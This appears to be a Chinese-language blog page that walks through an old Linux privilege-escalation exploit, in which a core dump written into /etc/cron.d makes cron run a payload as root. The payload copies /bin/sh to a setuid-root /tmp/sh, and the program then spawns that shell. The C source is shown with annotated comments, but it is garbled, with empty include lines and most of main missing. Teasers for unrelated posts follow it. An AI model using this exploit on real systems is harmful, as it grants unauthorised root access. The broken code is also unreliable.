程式最早是國外的大佬寫的。這個漏洞的原理非常簡單,就是利用coredump的時候,可以在/etc/cron.d目錄下生成core檔案。
而在/etc/cron.d目錄下的檔案,crontab會定時以指定的使用者許可權來執行。如果在core檔案中,指定使用者許可權是root,那麼
就能夠以我們希望的方式來執行所有的程式了。
下面就程式進行分析。
#include
#include
#include
#include
#include
#include
#include
char *payload="/nshell=/bin/sh/npath=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh /n";
/* 在coredump生成的core檔案中,就會出現payload的字元。也就是說,在core檔案中,會有下面的幾行檔案。
shell=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh
最後一行,如果熟悉crontab的配置,就知道這是crontab的檔案格式,每分鐘以root的身份執行一次後面的**。
注意最後的chmod 4755 /tmp/sh,4755是標準的粘連位的設定。這樣,任何執行/tmp/sh都將獲得root許可權。
*/int main()
kill(child, sigsegv);
/*使child process core dump*/
printf("sleeping for aprox. one minute (** please wait **)/n");
sleep(62);
/*等待crontab去執行生成的core 檔案*/
printf("running shell (remember to remove /tmp/sh when finished) .../n");
system("/tmp/sh -p");
/*執行/tmp/sh,由於/tmp/sh所有人是root,設定了粘連位,所以任何執行此程式的人都將獲得root許可權*/
}結束以後,請記得刪除/etc/cron.d/目錄下的core檔案,和/tmp/sh檔案。
乙個後門分析
檔案資訊 殼資訊 無殼 編譯器 vs2010 1.檔案執行後,會首先判斷檔案是否在c windows system32目錄下,如果沒有則拷貝自身到這個目錄下,並將自身設為服務程序,隨開機啟動 接著會啟動這個服務,並在臨時資料夾建立乙個.bat檔案並執行。這個檔案主要是刪除原有檔案 服務啟動後會嘗試連...
原php168的乙個漏洞
這個問題是程式設計師容易忽略的,往往只是依靠gpc或addslashes函式對使用者直接輸入的資料進行處理,這樣資料中的 等都會被 轉義,這樣就能正確的執行sql語句,有效防止注入攻擊了。但存入資料庫的資料呢?在執行完sql語句存入資料庫的是經過gpc處理前的原始資料,那麼當程式再select出的就...
發現WinXp下的乙個小漏洞
發現winxp下的乙個小漏洞該錯誤不僅在xp中文版中出現,英文版中也存在。當你的目錄名裡包含 時,你的chm檔案將無法正常開啟。在打sp2以前,根本就無法開啟檔案,但打了sp2補丁以後,可以開啟檔案,但無法瀏覽內容。如下圖 d dwonload net asp.net 2.0 revealed.ch...